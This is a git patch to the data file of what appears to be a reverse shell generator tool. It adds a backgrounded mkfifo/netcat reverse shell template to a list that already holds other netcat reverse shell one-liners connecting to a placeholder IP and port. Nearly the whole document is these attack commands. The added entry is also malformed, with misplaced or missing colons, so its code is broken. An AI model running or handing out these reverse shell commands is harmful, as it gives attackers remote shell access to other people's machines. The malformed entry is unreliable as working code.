From f509313697eac286e9a5f20f5ace41ac46d5c886 Mon Sep 17 00:00:00 2001 From: Ryan Montgomery <44453666+0dayCTF@users.noreply.github.com> Date: Mon, 6 Jun 2022 11:43:20 -0400 Subject: [PATCH] Update data.js Added mkfifo backgrounded shell --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index e02ac83..388d9f9 100644 --- a/js/data.js +++ b/js/data.js @@ -50,6 +50,11 @@ const reverseShellCommands = withCommandType( "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f", "meta": ["linux", "mac"] }, + { + "name:" "mkfifo background", + "command" "(mkfifo \/tmp\/MmE1M; nc {ip} {port} 0<\/tmp\/MmE1M | {shell} >\/tmp\/MmE1M 2>&1; rm \/tmp\/MmE1M) &", + "meta" ["linux", "mac"] + }, { "name": "nc -e", "command": "nc -e {shell} {ip} {port}",